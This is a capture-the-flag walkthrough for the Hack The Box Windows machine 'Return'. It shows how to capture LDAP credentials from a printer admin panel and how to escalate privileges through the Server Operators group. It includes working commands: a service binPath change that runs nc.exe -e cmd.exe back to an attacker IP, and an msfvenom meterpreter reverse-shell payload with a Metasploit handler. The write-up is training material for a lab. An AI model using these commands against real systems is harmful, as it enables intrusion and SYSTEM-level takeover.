Return
Return
Difficulty: Easy
Classification: Official
Synopsis
Return is an easy difficulty Windows machine featuring a network printer administration panel that stores
LDAP credentials. These credentials can be captured by inputting a malicious LDAP server which allows
obtaining foothold on the server through the WinRM service. User found to be part of a privilege group
which further exploited to gain system access.
Skills Required
Basic Windows Knowledge
Skills Learned
Network Printer Abuse
Enumeration
Nmap
Let's start with port scan.
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.233 | grep ^[0-9] | cut -d '/' -f 1 | tr
'\n' ',' | sed s/,$//)
nmap -p$ports -sV -sC 10.10.10.233
Nmap output shows that the target is a Windows machine with ports 80 (Internet Information Services), 445
(SMB) and 5985 (Windows Remote Management) available.
SMB
Let's enumerate SMB service using enum4linux tool.
This reveals that the host is part of the RETURN domain. SMB does not allow NULL or guest sessions, so can
turn our attention to the website.
IIS
This reveals a printer admin panel, such as you find on enterprise Canon, Xerox and Epson multifunction
devices. Navigating to Settings reveals a username and domain name.
Foothold
These devices store LDAP and SMB credentials, in order for the printer to query the user list from Active
Directory, and to be able to save scanned files to a user drive. These configuration pages typically allow the
domain controller or file server to be specified. Let's stand up a listener on port 389 (LDAP) and specify our
tun0 IP address in the Server address field.
Privilege Escalation
Enumerating group memberships reveals that svc-printer is part of Server Operators group.
We can read more about this group here. Members of this group can start/stop system services. Let's
modify a service binary path to obtain a reverse shell.
upload /usr/share/windows-resources/binaries/nc.exe
sc.exe config vss binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.14.2
1234"
Stand up a listener on port 1234 and issue the below commands to obtain the reverse shell.
The above-obtained shell is unstable and might die after a few seconds. A more efficient way would be to
obtain a meterpreter shell and then quickly migrate to a more stable process.
We can use msfvenom to generate a meterpreter reverse shell executable payload file for the Windows
remote host.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=1337 -f exe > shell-
x86.exe
Using the current Evil-WinRM shell, the executable can be uploaded on the remote host.
upload shell.exe
Next, we will use the Metasploit console to configure a listener for a reverse shell session on a Windows
target.
msfconsole
Select the multi/handler exploit module, which is used to listen for incoming connections from a
compromised system.
use exploit/multi/handler
Set the payload as windows/meterpreter/reverse_tcp that allows for a reverse TCP connection to be
established between the attacker's machine and the target.
Using the existing shell, let's modify a service binary path to obtain a reverse shell.
After obtaining a meterpreter session, use the ps command to list the running processes on the remote
box.
Choose an appropriate process which is running as NT AUTHORITY\SYSTEM and migrate to it. In this case,
we will be migrating to the process with PID 3172.
migrate <PID>
We can now spawn a shell and grab the root flag.
shell